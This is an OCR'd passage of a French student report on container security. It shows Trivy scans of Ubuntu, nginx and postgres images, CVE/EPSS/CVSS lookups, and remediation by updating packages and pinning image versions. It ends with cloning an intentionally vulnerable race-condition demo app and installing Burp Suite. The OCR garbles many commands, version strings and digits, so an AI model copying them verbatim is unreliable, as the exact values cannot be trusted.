
[etc/apt/sources.list.d/docker.list > /dev/null

# echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/do
cker.gpg] https //download.docker.com/1linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sou

rces.list.d/docker.list > /dev/null s
e #

Installons maintenant docker par la commande suivante.

#sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin

# sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-p
ugin e
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances

Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :

docker-buildx-plugin docker-ce-rootless-extras git git-man liberror-perl pigz slirp4netns
Paquets suggérés :
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Vérifions s’il est déja installer par la commande comme suite.

# apt-cache policy docker-ce

# apt-cache policy docker-ce &=

docker-ce:
Installé : 5:28.0.1-1~ubuntu.20.04~focal
Candidat : 5:28.0.1-1~ubuntu.20.04~focal
Table de version :
**% 5:28.0.1-1~ubuntu.20.04~focal 5060
500 : //download.docker.com/1linux/ubuntu focal/stable amd64 Packages

Ensuite, on vérifie le status par la commande suivante :

# sudo systemctl status docker

: # sudo systemctl status docker agems
docker.service - Docker Application Container Engine
Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)
Active: since Sat 2025-03-08 14:30:29 GMT; 27s ago
docker socket

On télécharge ensuite 1’image Ubuntu 22 comme suite :

# docker pull ubuntu:22.04

# docker pull ubuntu:22.04 e
22.04: Pulllng from library/ubuntu
9cb31e2e37ea: Downloading [== = ] 8.074MB/29.54MB

111.3.1 Audit de I’image Ubuntu 22

e Analyser et détailler chaque vulnérabilité (CVE, EPSS et CVSS).

# docker images

# docker pull ubuntu:22.04

22.04: Pulllng from library/ubuntu
9cb31e2e37ea: Pull complete
Digest: sha256:ed1544e454989078f5declbfdabd8c5cc9c48e0705d07b678ab6ae3fb61952d2
Status: Downloaded newer image for ubuntu:22.04
docker. lo/llbrary/ubuntu 22.04

8 # docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu 22.04 azgpggglgggzj 5 weeks ago 77 .9MB

g #

111.3.2 Analyse de I’'image Ubuntu 22

On lance I’audit par la commande suivante :

# sudo trivy image ubuntu:22.04 > rapportTrivy.txt

: # sudo trivy image ubuntu:22.04 > rapportTrivy.txt s
2025-03-05T02:13:55Z INFO [vuln] Vulnerability scanning is enabled

2025-03-05T02:13:55Z INFO [secret] Secret scanning is enabled

2025-03-05T02:13:55Z INFO [secret] If your scanning is slow, please try '--scanners vuln' to disable secret scanning
2025-03-05T02:13:55Z INFO [secret] Please see also https://aquasecurity.github.io/trivy/v0.59/docs/scanner/secrettre

commendation for faster secret detection
2025-03-05T02:14:00Z INFO Detected 0S family="ubuntu" version="22.04"
2025-03-05T02:14:00Z INFO [ubuntu] Detecting vulnerabilities... os_version="22.04" pkg_num=101
2025-03-05T02:14:00Z INFO Number of language-specific files num=0
: #

Page 68 sur 86



G Dossier personnel ~

- . . . u n n . .
* Favoris

artifacts Bureau Documents DocVote  DVotingSyste  ICO-Projet Images Modéles Musique  mynextdapp node. remix
_ () Dossier personnel m modules
LN ...
c % % 7 i avec Bt detene ffmd®
[¥) Documents Ouvrir avec une autre application
Téléchargeme Vidéos VotingApp  votingdapp  VotingSystem  Chequesol  packagejson  package-lock s
& Images nts json Duper
Copier
é 1) Musique Déplacer vers
Copler vers.

0§ Téléchargements
Mettre 33 corbeille

H Vidéos Renommer.
: ompresser
A Corbeille Compress,
5 Revenir & La version précédente.
: + Autres emplacements Envoyer 3
Marquer comme Favori
5 Propriétés

rapport Trivy.txt [Lecture seule]

22.04 (ubuntu 22.84)

3
4 58 (UNKNOWN: ©, LOW: 39, MEDIUM: 19, HIGH: O, CRITICAL: ©)
s
6
7 Library vulnerability | severity | status Installed verston Fixed Version Title
8
9 | coreutils CVE-2016-2781 LOW affected 8.32-4.1ubuntul.2 coreutils: Non-privileged session can escape to the parent
10 session in chroot
@ 11 https://avd.aquasec.con/nvd/cve-2016-2781
12
13 | gcc-12-base CVE-2022-27943 12.3.0-1ubuntul-~22.04 binutils: libiberty/rust-demangle.c in GNU GCC 11.2 allows
14 stack exhaustion in demangle_const
é 15 https://avd.aquasec.con/nvd/cve-2022-27943
16
17 CVE-2023-4039 gcc: -fstack-protector fails to guard dynamic stack
= B allocations on ARM64
A_J 19 https://avd.aquasec.com/nvd/cve-2023-4039
20
B 21 | gpov CVE-2022-3219 2.2.27-3ubuntu2.1 gnupg: dental of service issue (resource consumption) using
7 22 compressed packets
4 23 https://avd.aquasec.con/nvd/cve-2022-3219
24
25 | lbc-bin CVE-2025-0395 | MEDIUM fixed 2.35-6ubuntu3.8 2.35-0ubuntu3.9 glibc: buffer overflow in the GNU C Library's assert()
> 26 https: //avd. aquasec.con/nvd/cve-2025-6395
27
28 CVE-2016-20013 | LOW affected sha2sécrypt and shaslzcrypt through 6.6 allow attackers to
29 cause a denial
30 https://avd. aquasec. con/nvd/cve-2016-20013
31
32 | lbcs CVE-2025-6395 | MEDIUM Fixed 2.35-6ubuntu3.9 glibc: buffer overflow in the GNU C Library's assert()
33 https://avd.aquasec.com/nvd/cve-2025-0395
34
35 CVE-2016-20013 | LOW affected sha256crypt and shaSi2crypt through 0.6 allow attackers to
36 cause a dental of..
37 hnps.//avd.aquasec.(om[nvd/:ve 2016-20013
38
39 | libcap2 CVE-2025-1390 | MEDIUM fixed 1:2.44-1ubuntu0.22.04.1 | 1:2.44-1ubuntue.22.04.2 | libcap: pam_cap: Fix potential configuration parsing error
40 https://avd. aquasec.con/nvd/cve-2025-1390
a1
42 | 1ibgec-s1 CVE-2022-27943 Low affected 12.3.0-1ubuntu1-~22.84 binutils: libiberty/rust-demangle.c in GNU GCC 11.2 allows
a3 stack exhaustion in demangle_cons
44 https://avd.aquasec.com/nvd/cve-2022-27943
45
... K3 CVE-2023-4039 gcc: -fstack-protector fatls to guard dynamic stack
ses a7 allocations on ARM64

111.3.2.1 Analyse des vulnérabilités

On copie et on colle les CVE de ces vulnérabilité dans le site pour analyser.

Le site : https://www.cvedetails.com/cvss-score-distribution.php

CVE-2016-2781 : chro

“« [&] 08 cvedetalls.com, %o ® @ A =

o)
@ CVEdstalls.com Vulnerability L ©v&*
e kyscor chrootin GNU corey CVE 20152781 chiontin GRU coreutls, when used with ~userspec, alows local users 10 escape 10 the pareit sessi @UNm

Vulnerabilities
By Date
By Type
Known Exploited

ta the terminal's input buffer.

Assigners
CVSS Scores
EPSS Scores

Search

d 2017-02-07 15:58:00 Up i 2021-02-25 17:15:21 S

Input validation

Products affected by CVE-2016-2781
Vulnerable Software

GNU » C:

eutils

Vendors
Products
Version Search

Exploit prediction scoring system (EPSS) score for CVE-2016-2781
Vulnerability Intel.

0.04% Probability of exploitation activity in the next 30 days  EPSS Score His
Newsfeed
[- & =] Percentile, the proportion of vulnerabilities that are scored at or less
Open Source Vulns
Emerging CVEs
This web site uses cookies for managing your session, storing website described in our privacy policy.

By using this web site you are agreeing to CVEdetails.com terms of use!
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Q CVE-2022-27943

cta Vulnerability Details : CVE-2022-27943  # rorenna «
Vulnerabilities libiberty/frust-demangle.c in GNU GCC 11.2 allows stack consumption in demangle_const, as demonstrated by nm-new.
By Date
By Type
Known Exploit:
Assigners )
cyse s iblished 2022-03-26 13:15:08 Updated 2022-12-22 20:29:25 Source MITRE ew alNVDE, CVE.org¥
EPSS S
Search Products affected by CVE-2022-27943
Vulnerable Softw F t i 36
TR Matching versions
Vendors
Broduct GNU » GCC » nz
...... Matching version
Ver ing versions
Vulnerability Intel
This web site uses cookies for managing your session, storing preferences, website analytics and additional purposes described in our privacy policy. Aecent
c:
By using this web site you are agreeing to CVEdetails.com terms of use! i

Les vulnérabilités détectées sont classées par niveau de gravité (LOW, MEDIUM, HIGH,
CRITICAL).

o Les champs importants incluent :

= CVE : Identifiant unique de la vulnérabilité.

= EPSS (Exploit Prediction Scoring System) : Probabilité d'exploitation (a rechercher sur
https://www.first.org/epss/).

= CVSS (Common Vulnerability Scoring System) : Score de gravité (0 a 10, disponible

via https://nvd.nist.gov/vuln-metrics/cvss).

Exemples d’analyse détaillée

1. CVE-2016-2781 (LOW)

= Package : coreutils

= Description : Une session non privilégiée peut échapper au chroot parent.
» Lien: CVE-2016-2781

= Solution : Mettre a jour coreutils si un correctif est disponible.

2. CVE-2025-0395 (MEDIUM)

= Package : libc-bin, libcé

= Description : Dépassement de tampon dans assert() de la GNU C Library.
= Lien: CVE-2025-0395
= Solution : Mise a jour vers glibc 2.35-Oubuntu3.9.

3. CVE-2024-2236 (NON CLASSE)
= Package : libgcrypt20

= Description : Vulnérabilité "Marvin Attack" sur libgcrypt.
= Lien: CVE-2024-2236
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= Solution : Vérifier et appliquer les correctifs via apt update && apt upgrade.

e Proposition et implémenter des solutions correctives.

111.3.2.2 Solutions correctives

+ Mettre a jour les packages vulnérables

La plupart des vulnérabilités peuvent étre corrigées en mettant a jour I’image et les paquets

concernés :

# docker run --rm ubuntu:22.04 bash -c "apt update && apt upgrade -y"

# docker run --rm ubuntu:22.04 bash -c "apt update && apt upgrade -y"

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
Get:1 http://archive.ubuntu.com/ubuntu jammy InRelease [270 kB]

Get:2 http://security.ubuntu.com/ubuntu jammy-security InRelease [129 kB]

Get:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease [128 kB]

Get:4 http://security.ubuntu.com/ubuntu jammy-security/multiverse amd64 Packages [45.2 kB]
Get:5

Get:6

Si I’image ubuntu:22.04 contient trop de vulnérabilités, utilisez une version minimale comme

ubuntu:22.04-minimal ou distroless.

Les mises a jour dans un Dockerfile avec les bonnes pratiques suivantes :

# nano Dockerfile

root@sergio: /home/sergio

GNU nano 4.8 Dockerfile
FROM ubuntu:22.04

RUN apt-get update && \
apt-get upgrade -y --no-install-recommends && \
apt-get clean &8 \
rm -rf /var/lib/apt/lists/*

+ Le contenu du fichier Dockerfile
FROM ubuntu:22.04
# Mise a jour du systéme et nettoyage en une seule couche
RUN apt-get update && \
apt-get upgrade -y --no-install-recommends && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
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Explications des améliorations :

o Utilisation de apt-get au lieu de apt :

= Plus stable dans les environnements non interactifs (Docker)
= Comportement plus prévisible

o --no-install-recommends :

= Evite I'installation de paquets recommandés non essentiels

= Réduit la taille finale de lI'image

o Nettoyage dans la méme couche :

= apt-get clean : Supprime les paquets .deb téléchargés

= rm -rf /var/lib/apt/lists/* : Supprime les listes de paquets mises en cache
o Combinaison en une seule commande RUN :

= Réduit le nombre de couches dans I'image Docker

= Evite les problémes de cache intermédiaire

Donne le droit d’exécution sur le fichier Dockerfile et exécutons la commande pour mettre le

jour I’image.

# sudo chown sergio:sergio Dockerfile

# chmod 644 Dockerfile

# sudo chown sergio:sergio Dockerfile s

# chmod 644 Dockerfile e===

# docker build -t ubuntu-mise-a-jour.

- -t ubuntu-mise-a-jour . o
[+] Building 38.0s (6/6) FINISHED docker:default

Si la construction reussit, vérifions que I’image est bien présente par la commande suivante :
# docker images | grep ubuntu-mise-a-jour

# docker images | grep ubuntu-mise-a-jour essss

latest 613657de153f 5 minutes ago  105MB
#
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# docker images

# docker images ="
TAG IMAGE ID CREATED
latest 613657del53f 6 minutes ago
22.04 a24beB®41d957 5 weeks ago

#

# cat rapportTrivy.txt

ubuntu:22.04 (ubuntu 22.04)
Total: 58 (UNKNOWN: @, LOW: 39, MEDIUM: 19, HIGH: @, CRITI

- "™ "0

R —————————
| Library | vulnerability | Severity | Status Installed Version | Fixed Version |
Title

-t

| coreutils | cVE-2016-2781 | LOW | affected | 8.32-4.1ubuntul.2 | | coreuti
1s: Non-privileged session can escape to the parent

On lance I’audit une fois de plus par la commande suivante

# trivy image ubuntu-mise-a-jour

= # tr\vy image ubuntu-mis a-jour
2025-03-05T03:46:52Z [vuln] Vulnerability scanning is enabled
2025-03-05T03:46:52Z IFO [secret] Secret scanning is enabled
2025-03-05T03:46:52Z iF [secret] If your scanning is slow, please try '--scanners vuln' to disable secret scanning
2025-03-05T03:46:52Z [secret] Please see also https://aquasecurity.github.io/trivy/ve.59/docs/scanner/secret#re
commendation for faster Secret detection
2025-03-05T03:46:58Z NF Detected OS family="ubuntu" version="22.04"
2025-03-05T03:46:58Z IN [ubuntu] Detecting vulnerabilities... os_version="22.04" pkg_num=101
2025-03-05T03:46: 587 INF Number of language-specific files num=0

ubuntu 2 4

35 (UNKNOWN: ©, LOW: 29, MEDIUM: 6, HIGH: ©, CRITICAL

1
Library | vulnerability | severity | Status | Installed Version | Fixed Version |

Title | ;
e

| coreutils | cve-2016-2781 | | affected | 8.32-4.1ubuntu1l.2 | | coreutils: Non-pr
ivileged session can escape to the parent

Identification et analyse des vulnérabilités des images utilisées

Pour identifier précisément les vulnérabilités, on peut utiliser I’outil Trivy :
On utilise la commande suivante pour le scan

# trivy image nginx:latest

[vulndb] Need to update DB
[vulndb] Downloading vulnerability

en
Tow, pl g
aquasecurity.github.io/trivy/ve. et#treconmendation for faster et detection

" command clears the DB cache.
pkg_num=149

WARN 1 F v f e vulne i s. Read htt / /aquasecurity.github.lo/triv 5 nner fvulnerabilit:

: 153 (UNKNOWN: ©, LOW:

Library Vulnerability Severity Status Installed Version Fixed Version Title

11-3374 affected It found t apt-key in apt, all v ns, do not
correctly

TEMP-0841856 -B18BAF i other user tha
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Pour postgres, on exécute la commande suivante :

# trivy image postgres:13

# trivy image postgres:13 jus’
[vuln] Vulnerability scanning is enabled
[secret] Secret scanning is enabled
[secret] If your scanning is slow, please try '--scanners vuln' to disable secret scanning
[secret] Please see also https://aquasecurity.github.io/trivy/v@.59/docs/scanner/secret#recommendation for faster secret detection
Detected 05 family="debian" version="12.9'
[debian] Detecting vulnerabilities... os_version="12" pkg_num=147
Number of language-specific files num=1
[gobinary] Detecting vulnerabilities...
Using severities from other vendors for some vulnerabilities. Read https://aguasecurity.github.io/trivy/v@.59/docs/scanner /vulnerability#severity-selec

tion for detai

postgres:13 (debian 12.9)

Total: 150 (UNKNOWN: ©, LOW: 187, MEDIUM: 33, HIGH: 9, CRITICAL: 1)

Library Vulnerability Severity Status Installed Version Fixed Version

CVE-2011-33 affected It was found that apt-key in apt, all versions, do not
correctly...

TEMP-0841856-B18BAF 5.2.15-2+b7 [Privilege escalation pessible to other user than root]
[security-tracker.debian.org/tracker/TEMP-0841856-B1-

111.33 Audit du fichier Docker Compose avant le build

# apt-get install docker-compose

: # apt-get insta docker-compose o
Lecture des listes de paquets. i

Construction de 1'arbre des dependances

Lecture des informations d'état... Fait

Les paquets suilvants ont été installés automatiquement et ne sont plus nécessaires

# nano docker-compose.yml

# nano docker-compose.ym
#

version: '3’
services:
web:
image: nginx:latest
db:
image: postgres:13

GNU nano 4.8 docker-compose.yml
version: '3'
services:
web:
image: nginx:latest
db:
image: postgres:13

Vérifions la syntaxe par la commande suivante :

# nano docker-compose.yml

# docker - compose conflig

postgres: 13

NnNginx: Latest
version: " -9
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# docker-compose pull

: # docker-compose pull ===
Pulling web ... downloading (63.6%)
Pulling db ... downloading (2.0%)

# docker-compose pull ===

On scan les images téléchargées comme suite :

# trivy image postgres

anning
ret#recommendation for faster secret detection

9_num=1.
vulnerabilities. Read https://aquasecurity.github.i oy v ulnerability:

postares (debian 12.9)

Total: 158 (UNKNOWN: ©, LOW: 167, MEDIUM: 33, 9, CRITICAL: 1)

us Installed Version Fixed Version Title

o y in apt,

ble to other u
a/track

# trivy image nginx "=

: [vuln] Vulnerability scanning is enabled
2025-03-06T15 [secret] Secret scanning is enabled
2025-03-06T15 [secret] If your scanning is slow, please try '--scanners vuln' to disable secret scanning
2025-03-06T15 [secret] Please see also https://aquasecurity.github.io/trivy/v0.59/docs/scanner/secret#recommendation for faster secret detection
2025-03-06T15 Detected 0S family="debian" version="12.9"
2025-03-06T15 [debian] Detecting vulnerabilities... os_version="12" pkg_num=149
2025-03-06T15 Number of language-specific files num=0
2025-03-06T15:01:15Z Using severities from other vendors for some vulnerabilities. Read https://aquasecurity.github.io/trivy/ve.59/docs/scanner/vulnerability#severity-selec
tion for details.

nginx (debian 12.9)

Total: 153 (UNKNOWN: ©, LOW: 99, MEDIUM: 43, HIGH: 9, CRITICAL

‘ Library Vulnerability Severity ] Status I Installed Version ‘ Fixed Version Title

apt CVE-2011-3374 affected 2.6.1 It was found that apt-key in apt, all versions, do not
correctly...

TEMP-0841856-B18BAF 5.2.15-2+b7 [Privilege escalation possible to other user than root]
https: //security-tracker.debian.org/tracker/TEMP-0841856-B1-

111.3.4 Propositions et application de solutions correctives

a. Correction pour nginx

e Figer la version
En ce qui concerne les versions spécifiques, nginx-1.27.4 est une version récente de la branche
mainline, publiée en février 2025. Elle inclut des optimisations pour l'utilisation des ressources

avec des configurations SSL complexes et des correctifs pour certaines vulnérabilités.
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Remplacons le tag latest par une version précise connue pour sa stabilité et ses correctifs de

sécurité. Par exemple : image: nginx:1.27.4

b. Correction pour postgres

o Vérifier la version patchée :

Méme si postgres:13 est acceptable, il est recommandé d’utiliser un tag incluant le patch de
sécurité si disponible, par exemple : image : PostgreSQL 13.19, la plus récente, publiée le 13
février 2025, avec des correctifs supplémentaires pour une vulnérabilité de sécurité et de

nombreux bogues.

111.3.5 Modification du fichier Docker Compose et tests

a. Fichier Docker Compose modifié

# nano docker-compose.yml

# nano docker-compose.yml e

#

version: '3’

services:

web:

image: nginx:1.27.4
db:

image: postgres:13.19

root@sergio: fhome/sergio

GNU nano 4.8 docker -compose. ymlL Modifié
version: '3’

image: nginx:1.27.4

image: postgres:13.19

b. Teste des modifications
On télécharge les images mises a jour :
# docker-compose pull

: # docker-compose pull e
Pulling web ...

Pulling db ... downloading (51.7%)
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3 # docker images ==ms
REPOSITORY IMAGE ID CREATED
ubuntu-mise-a-jour 613657del53f 36 hours ago
postgres 6c774clad2b9 7 days ago
postgres . a482f5222c75

weeks ago
weeks ago
weeks ago
weeks ago

nginx b52e®b094bcO
nginx latest b52e®b094bcO
ubuntu 22.04 a24be041d957

# i

2
a
a
5

Apres le téléchargement des versions spécifiques de ces servies, on passe au scan :

# trivy image nginx:1.27.4

3 # trivy image nginx:1.27.4 ===
2025-83-06T15:26: Il [vuln] Vulnerability scanning is enabled
2025-03-06T15:26: [secret] Secret scanning is enabled
2025-03-06T15:26: [secret]

2025-03-06T715:2 !

Library Vulnerability Severity Status Installed Version Fixed Version Title

CVE-2011-3374 affected 2.6.1 It was found that apt-key in apt, all versions, do not
correctly...

et detection

pkg_num=150
[ .
WARN t o d some vulnerabiliti read htt ag vy/ve.59 canner /vulnerabil

postgres:13.19 (deblan 12.9)

Total: 152 (UNKNOWN: @, LOW: 187, MEDIUM: 35, HIGH: 9, CRITICAL:

Library Vulnerability Severity Status Installed Version Fixed Version

- o

Création d’un fichier Dockerfile comme suite :

FROM nginx:1.27.4
RUN apt-get update && apt-get upgrade -y && apt-get clean

3 # nano Dockerfile =
3 it

root@sergio: /home/sergio root@sergio: fhome/sergio
GNU nano 4.8 Dockerfile

FROM nginx:1.27.4
RUN apt-get update && apt-get upgrade -y && apt-get clean

Ensuite, construisez ces images avec

# docker build -t my-nginx:latest .

: # docker build -t my-nginx:latest . e
[+] Building 9.0s (6/6) FINISHED docker:default
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# nano Dockerfile

root@sergio: /home/sergio

GNU nano 4.8 Dockerfile

FROM postgres:13.19
RUN apt-get update &8 apt-get upgrade -y && apt-get clean

# docker build -t my-postgres:latest .

# docker build -t my-postgres:latest . s
[+] Bulldlng 25.2s (6/6) FINISHED docker:default

Re-scanner et surveiller
Apres avoir appliqué ces modifications, refaites une analyse avec Trivy
# trivy image my-nginx:latest

4 # trwy image my-nginx:latest®=e
2025-03-06T16:04:11Z NFO [vuln] Vulnerability scanning is enabled

2025-03-06T16:04:11Z [secret] Secret scanning is enabled

2025-03-06T16:04:11Z 0 [secret] If your scanning is slow, please try '--scanners vuln' to disable secret scanning

2025-03-06T16:04:11Z [secret] Please see also https://aquasecurity.github.io/trivy/v@.59/docs/scanner/secret#recommendation for faster secret
detection

2025-03-06T16:04:17Z NFO  Detected 0S family="debian" version="12.9"

2025-03-06T16:04:17Z \ [debian] Detecting vulnerabilities... os_version="12" pkg_num=149

2025-03-06T16:04:17Z NFO Number of language-specific files num=0

2025-03-06T16:04:17Z Using severities from other vendors for some vulnerabilities. Read https://aguasecurity.github.io/trivy/v0.59/docs/scann
er/vulnerability#severity-selection for details.

my-nginx:latest (debian 12.9)
Total: 153 (UNKNOWN: ©, LOW: 99, MEDIUM: 43, HICH: 9, CRITICAL: 2)

. ' "°%©Q0B "6 " &=—"/”/”—H — /]

—_—
| Library | Vulnerability | Severity | Status |  Installed Version | Fixed Version |
-

| apt | cve-2011-3374 | | affected | 2.6.1 | | It was found that apt-key in apt, all v
ersions, do not |

# trivy image my-postgres:latest

8 # trivy image my-postgres:latest ===
2025-03-06T1€ [vuln] Vulnerability scanning is enabled
) [secret] Secret scanning is enabled
[secret] If your scanning is slow, please try '--scanners vuln' to disable secret scanning
[secret] Please see also https://aquasecurity.github.io/trivy/v0.59/docs/scanner/secret#irecommendation for faster secret

Detected 05 family="debian" version="12.9"

[debian] Detecting vulnerabilities... os_version="12" pkg_num=150

Number of language-specific files num=1

[gabinary] Detecting vulnerabilities...

Using severities from other vendors for some wulnerabilities. Read https://aquasecurity.github.io/trivy/ve.59/docs/scanner /vulnerability#severity-sele
tion for details.

my-postgres:latest (debian 12.9)

Total: 150 (UNKNOWN: ©, LOW: 167, MEDIUM: 33, HIGH: 9, CRITICAL: 1)

CVE-2011-3374 . It was found that apt-key in apt, all versions, do not
correctly...
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111.4 Audit d’une application e-commerce

On accéde avec 1’url : https://github.com/projectdiscovery/php-app-race-condition

afin cloné le dépot.

- c o8 github.com, % 13

Product ~  Solutions esources ~ Open Source ~ Enterprise Pricing ump to. Sign in

3 projectdiscovery / php-app-race-condition ru [\ Notifications 4 Fork 7 r Star 20
¢> Code (o) Issues {9 Pullrequests (5) Actions [ Projects () Security |~ Insights
P main - §1Branch 0 Tags Q Go to file About
£ Clone ® Vulnerable demo application for the race
@ ehsandeep file update condition
HTTPS  GitHub CLI
php Vulnerable app PoC 00 Readme
[ README.md Update and rename  NTtPS://0ithub.con/projectdiscovery/php-apt | (C) @ \ = ot
Clone using the web URI ko e
[ docker-compose.yml Vulnerable app PoC A Act
[ docker.mysgl.yml making p: [[) Download ZIP () Custom properties
¥ 20 st
[ docker.php.yml Vulnerable app PoC 4 & 4watching
payhack.sql Vulnerable app PoC 4 years ago ¥ orks
% 7forks
Report repc
O race.yaml file update 4 years age

111.4.1 Installation de I’outil git et clonage de dépot

On install I’outil git puis on télécharge le dépot.

# apt install git

: # apt install git s
Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances

Lecture des informations d'état... Fait
git est déja la version la plus récente (1:2.25.1-1ubuntu3.14).

# git clone https://github.com/projectdiscovery/php-app-race-condition.git

3 # git clone https://github.com/projectdiscovery/php-app-race-condition.git s
Clonage dans 'php-app-race-condition'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 22 (delta 6), reused 16 (delta 2), pack-reused 0 (from 0)
Dépaquetage des objets: 100% (22/22), 4.04 Kio | 142.00 Kio/s, fait.
8 #

On se déplace dans le répertoire du projet.

# cd php-app-race-condition/

# 1s
Dockerfile package. json rapportTrivy.txt
package-lock. json
Cheque.sol
docker-compose.yml VotingSystem.sol
8 # cd php-app-race-condition/
#

2 # ls e
docker-compose.yml docker.mysql.yml docker.php.yml payhack.sql race.yaml README.md
g #
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111.4.2 Installation de Burp Suite

On installe Burpsuite depuis site officiel avec le lien :
https://portswigger.net/burp/community-download-thank-you

B o120 T @ @ 8 =

LOGIN

£1PortSwigger

Products ¥ | Solutions v | Research | Academy | Support ™

Your download should start automatically. Didn't work? Try downloading agair “

1 2
@Thﬂnks for downloading Burp Suite Community Now why not get the most out of it by signing up to the
Edition! Web Security Academy?

On cligue ensuite sur Download pour le Téléchargement.

%% W 204 =

LOGIN

Products v | Solutions Vv Research | Academy | Support v | =

& c C E! https://portswigger.net/burp/releases/professional-community-2025-1-47requestededition=com

£2 PortSwigger

Professional | Community 2025.1.4
D

07 March 2025 at 09:59 UTC

‘ Linux (x64) v

‘ Burp Suite Community Edition v

Ici, le téléchargement commence.

£+ 0 (0 8 hitps,portswiggernet/burp/communty-downloac+hanicyou Bhomw & 0@ =
burpsuite_community_linux v2025_1_4sh
| X

Temps restant: 2 min 26 5— 19,1 sur 303 Mo (2,0 Mofs)

¢ PortSwigger

Products v | Solutions V' | Research | Academy | Support v

Your download should start automatically. Didn't work? Try downloading again

On se déplace dans le Téléchargements/

Page 80 sur 86


https://portswigger.net/burp/community-download-thank-you

burpsuite_community_linux_v2025 1 4.sh ¢=== gyByhwUxId8gMEWCGFWNOITd-s.p.dalebef7.woff2

#

On exécute la commande suivante.

# bash burpsuite_community_linux_v2025 1 4.sh

# cd Téléchargements/
2 # 1s
burpsuite_community_linux_v2025_1_4.sh gyByhwUxId8gMEwWcGFWNOITd-s.p.dalebef7.woff2

Setup - Burp Sulte Community Edition 2025.1.4

S Wel i i
: : Community Eartion Setup wizera [EEMLLOUX V2025 1 4 _sh
Unpacking JRE ...
Starting Installer
|

On suit les procédures d’installation comme nous montre les captures suivantes.

s # bash burpsuite_community_linux_v2025_1_4.sh
Unpacking JRE
Starting Installer

Setup - Burp Suite Community Edition 2025.1.4

Select Destination Directory
Where should Burp Suite Communiy Edition be installed?

Select the folder where you would lie Burp Sute Communty Edition to
be installed, then click Next.

fopuBurpSuseCommuniy]

Required disk space: 720 MB
Free diskspace: 1,176 MB

# bash burpsuite_community_linux_v2025_1_4.sh

Unpacking JRE ...
Starting Installer

Setup - Burp Suite Community Edition 2025.1.4 —

Select Directory for Symlinks

Where should Burp Suite Community Ediion create

symiinks to the executables? a——
Select the folder where you would like Burp Suite Community Edlition to
create symiinks, then click Next.

Create symiinks

Destination directory

‘usrflocalfbin| Browse ...

< Back Next = Cancel
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: # bash burpsuite_community_linux_v2025_1 4.sh
Unpacking JRE ...
Starting Installer ...

Setup - Burp Suite Community Edition 2025.1.4

Completing the Burp Suite
Community Edition Setup Wizard

Activités mar7 22:02

i , :
jevEme

Burp Suite Com... Analyseur dutil... Navigateur We... Editeur de texte Statistiques de... Transmission

Terms and Conditions

Please read the following terms and conditions carefully, and indicate whether you accept their
terms.

Burp Suite Community Edition Terms and Conditions of Supply.

IMPORTANT NOTICE: PLEASE READ THE FOLLOWING TERMS BEFORE ORDERING OR
DOWNLOADING ANY SOFTWARE FROM THIS WEBSITE, AS APPLICABLE TO THE LICENCE
IAND USE OF THAT SOFTWARE,

These Burp Suite Community Terms and Conditions of Supply together with the documents.
referred to in t (Terms") constiute the terms and condiions on which PoriSwigger Ltd
("Licensor?) wil grant to any user (‘Licensee”) a icence 10 use the software comprising Burp
‘Suite Community Editon ("Burp Suite Community Edition” or the "Software”), folowing
acceptance of an order as detaied below.

The following expressly form part of the Terms:

@ Help improve Burp by submiting feedback about ts performance

1Decine

Acceptons ensuite le terme du contrat et on clique sur next pour continuer.

Burp Sulte Community Edition v20: - @
PP S, Burp Suite
=y -]

On démarre Burp Suite en cliquant sur le bouton comme ci-dessous.
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Burp Suite

— }
Cancat e | T
On accede sur I’onglet extension.
e —— ® sewen
Learn, explore and discover ‘ i #io b

Getting started with Burp Suite Burp Suite - a guided video tour

et g right vy weh our quick star utorkl

Take 2 nuthrough of afl the major Burp Sute feanares. F >

T |

Burp Suite video tutorials Tha Wab Security Acadoemy

See how 0 use Burp Sute's main features and ook Learn how 10 i more vikoesatsbies tsing Burp Sute.

45. &

Find out mare Stan marning

Burp Suite Support Center Burp Suite on Twitter

P the answers io your Burg Sue quessons hee.

Join Burp Sue's hege communy, and siay i the kaaw.

»
N

AN 4

Fied answers Folw us.

On suit les procédures comme nous montre I’ordre des numéros.

Bup  Proect Weuder Repeaier  View Hep

@ sengs
noes @ Brosie A BOwas (@ Exensions senngs 1
Tonst examaed sysiem mpsce  None
BApp Store ®
The BABD ot Burp Sute
saled R Popd. - Last Sysiemimp... Decad —
Look Over There wrran 010a2024  Low
ok *awire 0Ll Hgh Thi esenson
Log Requests 0 5QUIe bbbt 2sep 2021 Low
Discover Reverse Tabn wrrwl | 06Dec 2019 Low Requres Burp Pacam names come bom a carebly Curared bl 1y wordia, a1 ik harvests adion woeds o all
SGC AP Parser wrwit Z3Sep 2021 Low pestmsind=
Type Confusen Scamner anaan | 1152023 Low Regqures Bum -
Upload Traverser *wty AR Low Regures Burp o~y
CSIC, Moskaor HTTP . axrn | 2Nov 2028 Low Miohe chck o Pro, - oo, vt S— e MOt
Turbo Daa ARAAE 2AN22  Low
Same Orign Mesnod £x warls 26102017 Low You can s Sp—— 1 yous . vty yexs Can anabi ac-mini) of ol ACope WATRC. Phes s hat s
700 & Track Custom s P BFO22  Low Requees Burn 104 i dengne 10 ba WGy SCaIabIo iy recLME RN 5 2 PRrSMANCS 308

MG cms [

@ Senngs
nsskd  Bropswe@) aw  Boweas © Extonsions senngs '
© ot estimared system impact.  Nove

BApp Store ®

e Bagp e oBup s = 3

Hame hoakd  Rang  Fopd . Lasmupdued  Symemump  Dewsd .
Param Miner

Terbe e rrnn 1 24Feb 2025 Medum

Turba Data Miner e 2 Low R o

whrn | 23022 Low

WebSockt Turbo bansd ftverd | PO Low 536 pasam Paam i Carmaly o bl i o, arc 4 o harvents ks wesch b i
inscops satic
Usage

oo oo o, you. [ —
You can ahot on same ume - 1 wil e you can ety 1t yous wane. Aty s €3 anable 3s0-mining of 8 i scope VA Plesse nate hiat s
